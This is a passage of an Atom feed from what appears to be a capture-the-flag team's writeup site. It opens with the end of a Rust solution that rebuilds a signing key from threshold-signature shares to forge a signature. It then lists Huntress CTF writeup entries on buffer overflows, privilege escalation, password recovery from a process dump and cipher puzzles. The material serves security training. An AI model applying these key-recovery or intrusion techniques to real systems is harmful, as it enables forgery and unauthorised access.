&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;            &lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-rust&quot;&gt;map&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function z-closure z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-parameters z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-parameters z-begin z-rust&quot;&gt;|&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function z-closure z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-parameters z-rust&quot;&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-variable z-parameter z-rust&quot;&gt;id&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt; _&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-parameters z-end z-rust&quot;&gt;|&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function z-closure z-rust&quot;&gt;id&lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-rust&quot;&gt;clone&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;            &lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-rust&quot;&gt;collect&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-rust&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;        &lt;span class=&quot;z-comment z-line z-double-slash z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-rust&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt; interpolate for f_i(0)
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;        &lt;span class=&quot;z-storage z-type z-rust&quot;&gt;let&lt;&#x2F;span&gt; &lt;span class=&quot;z-storage z-modifier z-rust&quot;&gt;mut&lt;&#x2F;span&gt; participant_secret &lt;span class=&quot;z-keyword z-operator z-assignment z-rust&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-path z-rust&quot;&gt;k256&lt;span class=&quot;z-punctuation z-accessor z-rust&quot;&gt;::&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-path z-rust&quot;&gt;Scalar&lt;span class=&quot;z-punctuation z-accessor z-rust&quot;&gt;::&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-other z-rust&quot;&gt;ZERO&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-rust&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;        &lt;span class=&quot;z-keyword z-control z-rust&quot;&gt;for&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;id&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt; share&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-rust&quot;&gt;in&lt;&#x2F;span&gt; participant_shares &lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-block z-begin z-rust&quot;&gt;{&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;            &lt;span class=&quot;z-storage z-type z-rust&quot;&gt;let&lt;&#x2F;span&gt; lagrange &lt;span class=&quot;z-keyword z-operator z-assignment z-rust&quot;&gt;=&lt;&#x2F;span&gt; 
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;                &lt;span class=&quot;z-support z-function z-rust&quot;&gt;compute_lagrange_coefficient&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-bitwise z-rust&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;points&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-support z-type z-rust&quot;&gt;None&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt; id&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-rust&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-rust&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;            participant_secret &lt;span class=&quot;z-keyword z-operator z-assignment z-rust&quot;&gt;+=&lt;&#x2F;span&gt; lagrange &lt;span class=&quot;z-keyword z-operator z-arithmetic z-rust&quot;&gt;*&lt;&#x2F;span&gt; share&lt;span class=&quot;z-punctuation z-terminator z-rust&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;        &lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-block z-end z-rust&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;        secret &lt;span class=&quot;z-keyword z-operator z-assignment z-rust&quot;&gt;+=&lt;&#x2F;span&gt; participant_secret&lt;span class=&quot;z-punctuation z-terminator z-rust&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;    &lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-block z-end z-rust&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;    &lt;span class=&quot;z-storage z-type z-rust&quot;&gt;let&lt;&#x2F;span&gt; key &lt;span class=&quot;z-keyword z-operator z-assignment z-rust&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-path z-rust&quot;&gt;SigningKey&lt;span class=&quot;z-punctuation z-accessor z-rust&quot;&gt;::&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;from_scalar&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;secret&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-rust&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-rust&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;    &lt;span class=&quot;z-storage z-type z-rust&quot;&gt;let&lt;&#x2F;span&gt; signed &lt;span class=&quot;z-keyword z-operator z-assignment z-rust&quot;&gt;=&lt;&#x2F;span&gt; key&lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-rust&quot;&gt;sign&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-bitwise z-rust&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span class=&quot;z-storage z-modifier z-rust&quot;&gt;mut&lt;&#x2F;span&gt; OsRng&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-quoted z-double z-rust&quot;&gt;&lt;span class=&quot;z-storage z-type z-string z-rust&quot;&gt;b&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-rust&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;Give me the flag&lt;span class=&quot;z-punctuation z-definition z-string z-end z-rust&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-rust&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;    &lt;span class=&quot;z-support z-macro z-rust&quot;&gt;println!&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-rust&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-other z-placeholder z-rust&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-end z-rust&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-path z-rust&quot;&gt;hex&lt;span class=&quot;z-punctuation z-accessor z-rust&quot;&gt;::&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;encode&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;signed&lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-rust&quot;&gt;serialize&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-rust&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-rust&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-block z-end z-rust&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;suggested-readings-and-references&quot;&gt;Suggested Readings and References&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;FROST: Flexible Round-Optimized Schnorr Threshold Signatures&lt;&#x2F;strong&gt;&lt;br &#x2F;&gt;
Chelsea Komlo&lt;br &#x2F;&gt;
&lt;a href=&quot;https:&#x2F;&#x2F;eprint.iacr.org&#x2F;2020&#x2F;852.pdf?ref=glossary.blockstream.com&quot;&gt;eprint.iacr.org&lt;&#x2F;a&gt; &lt;small&gt;PDF&lt;&#x2F;small&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Using ECC for (Multi-)Signatures&lt;&#x2F;strong&gt;&lt;br &#x2F;&gt;
cstef&lt;br &#x2F;&gt;
&lt;a href=&quot;https:&#x2F;&#x2F;blog.cstef.dev&#x2F;posts&#x2F;multi-sig&quot;&gt;blog.cstef.dev&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Baby Buffer Overflow - 32bit</title>
        <published>2024-09-30T00:00:00+00:00</published>
        <updated>2024-09-30T00:00:00+00:00</updated>
        
        <author>
          <name>
            cstef
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://yctf.ch/writeups/huntress/baby-buffer-overflow-32bit/"/>
        <id>https://yctf.ch/writeups/huntress/baby-buffer-overflow-32bit/</id>
        
        <summary>Can you command this program to where it cannot go?
To get the flag, you must somehow take control of its excecution.
Is it even possible?</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>Backdoored Splunk II</title>
        <published>2024-09-30T00:00:00+00:00</published>
        <updated>2024-09-30T00:00:00+00:00</updated>
        
        <author>
          <name>
            Tyr
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://yctf.ch/writeups/huntress/backdoored-splunk-ii/"/>
        <id>https://yctf.ch/writeups/huntress/backdoored-splunk-ii/</id>
        
        <summary>You&#x27;ve probably seen Splunk being used for good, but have you seen it used for evil?  
  
**NOTE: the focus of this challenge should be on the downloadable file below. It uses the dynamic service that is started, but you must put the puzzle pieces together to be retrieve the flag.**  
  
**Download the file(s) below and press the `Start` button on the top-right to begin this challenge.**</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>Base-p-</title>
        <published>2024-09-30T00:00:00+00:00</published>
        <updated>2024-09-30T00:00:00+00:00</updated>
        
        <author>
          <name>
            Tyr
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://yctf.ch/writeups/huntress/base-p/"/>
        <id>https://yctf.ch/writeups/huntress/base-p/</id>
        
        <summary>That looks like a weird encoding, I wonder what it&#x27;s based on.

Download the file(s) below. </summary>
        
    </entry>
    <entry xml:lang="en">
        <title>Discount Programming Devices</title>
        <published>2024-09-30T00:00:00+00:00</published>
        <updated>2024-09-30T00:00:00+00:00</updated>
        
        <author>
          <name>
            glys
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://yctf.ch/writeups/huntress/discount-programming-devices/"/>
        <id>https://yctf.ch/writeups/huntress/discount-programming-devices/</id>
        
        <summary>I used a tool on the internet to obfuscate my script!
But I lost it, and I don&#x27;t know how to get it back.
Maybe you can help?</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>Echo Chamber</title>
        <published>2024-09-30T00:00:00+00:00</published>
        <updated>2024-09-30T00:00:00+00:00</updated>
        
        <author>
          <name>
            glys
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://yctf.ch/writeups/huntress/echo-chamber/"/>
        <id>https://yctf.ch/writeups/huntress/echo-chamber/</id>
        
        <summary>Is anyone there? Is anyone there? I&#x27;m sending myself the flag! I&#x27;m sending myself the flag! </summary>
        
    </entry>
    <entry xml:lang="en">
        <title>Finder&#x27;s Fee</title>
        <published>2024-09-30T00:00:00+00:00</published>
        <updated>2024-09-30T00:00:00+00:00</updated>
        
        <author>
          <name>
            mango
          </name>
        </author>
        
        <author>
          <name>
            Tyr
          </name>
        </author>
        
        <author>
          <name>
            cstef
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://yctf.ch/writeups/huntress/finder-s-fee/"/>
        <id>https://yctf.ch/writeups/huntress/finder-s-fee/</id>
        
        <summary>You gotta make sure the people who find stuff for you are rewarded well!

Escalate your privileges and uncover the flag.txt in the finder user&#x27;s home directory.

Press the Start button in the top-right to begin this challenge.
Connect with:

# Password is &quot;userpass&quot;
ssh -p 30668 user@challenge.ctf.games</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>GoCrackMe1</title>
        <published>2024-09-30T00:00:00+00:00</published>
        <updated>2024-09-30T00:00:00+00:00</updated>
        
        <author>
          <name>
            glys
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://yctf.ch/writeups/huntress/gocrackme1/"/>
        <id>https://yctf.ch/writeups/huntress/gocrackme1/</id>
        
        <summary>TENNNNNN-HUT!

Welcome to the Go Dojo, gophers in training!

Go malware is on the rise. So we need you to sharpen up those Go reverse engineering skills. We&#x27;ve written three simple CrackMe programs in Go to turn you into Go-binary reverse engineering ninjas!

First up is the easiest of the three. Go get em! </summary>
        
    </entry>
    <entry xml:lang="en">
        <title>GoCrackMe3</title>
        <published>2024-09-30T00:00:00+00:00</published>
        <updated>2024-09-30T00:00:00+00:00</updated>
        
        <author>
          <name>
            cstef
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://yctf.ch/writeups/huntress/gocrackme3/"/>
        <id>https://yctf.ch/writeups/huntress/gocrackme3/</id>
        
        <summary>You&#x27;ve trained, you&#x27;ve failed, you&#x27;ve succeeded, you&#x27;ve learned. Everything you&#x27;ve done up to this point has prepared you for this moment. Don&#x27;t let me down, Gopher. Don&#x27;t let me down.</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>Malibu</title>
        <published>2024-09-30T00:00:00+00:00</published>
        <updated>2024-09-30T00:00:00+00:00</updated>
        
        <author>
          <name>
            cstef
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://yctf.ch/writeups/huntress/malibu/"/>
        <id>https://yctf.ch/writeups/huntress/malibu/</id>
        
        <summary>What do you bring to the beach?</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>Mimi</title>
        <published>2024-09-30T00:00:00+00:00</published>
        <updated>2024-09-30T00:00:00+00:00</updated>
        
        <author>
          <name>
            mango
          </name>
        </author>
        
        <author>
          <name>
            Ary.eth
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://yctf.ch/writeups/huntress/mimi/"/>
        <id>https://yctf.ch/writeups/huntress/mimi/</id>
        
        <summary>Uh oh! Mimi forgot her password for her Windows laptop!

Luckily, she dumped one of the crucial processes running on her computer (don&#x27;t ask me why, okay)... can you help her recover her password?

NOTE: Archive password is mimi</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>Mystery</title>
        <published>2024-09-30T00:00:00+00:00</published>
        <updated>2024-09-30T00:00:00+00:00</updated>
        
        <author>
          <name>
            Ary.eth
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://yctf.ch/writeups/huntress/mystery/"/>
        <id>https://yctf.ch/writeups/huntress/mystery/</id>
        
        <summary>Someone sent this to me...
such enigma, such mystery:

rkenr wozec gtrfl obbur bfgma fkgyq ctkvq zeucz hlvwx yyzat zbvns kgyyd sthmi vsifc ovexl zzdqv slyir nwqoj igxuu kdqgr fdbbd njppc mujyy wwcoy

Settings as below:

    3 Rotor Model
    Rotor 1: VI, Initial: A, Ring A
    Rotor 2: I, Initial: Q, Ring A
    Rotor 3: III, Initial L, Ring A
    Reflector: UKW B
    Plugboard: BQ CR DI EJ KW MT OS PX UZ GH

</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>No need for Brutus</title>
        <published>2024-09-30T00:00:00+00:00</published>
        <updated>2024-09-30T00:00:00+00:00</updated>
        
        <author>
          <name>
            Ary.eth
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://yctf.ch/writeups/huntress/no-need-for-brutus/"/>
        <id>https://yctf.ch/writeups/huntress/no-need-for-brutus/</id>
        
        <summary>Author: @aenygma

A simple message for you to decipher:

squiqhyiiycfbudeduutvehrhkjki

Submit the original plaintext hashed with MD5, wrapped between the usual flag format: flag{}

Ex: If the deciphered text is &quot;hello world&quot;, the MD5 hash would be 5eb63bbbe01eeed093cb22bb8f5acdc3, and the flag would be flag{5eb63bbbe01eeed093cb22bb8f5acdc3}.</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>OceanLocust</title>
        <published>2024-09-30T00:00:00+00:00</published>
        <updated>2024-09-30T00:00:00+00:00</updated>
        
        <author>
          <name>
            mango
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://yctf.ch/writeups/huntress/oceanlocust/"/>
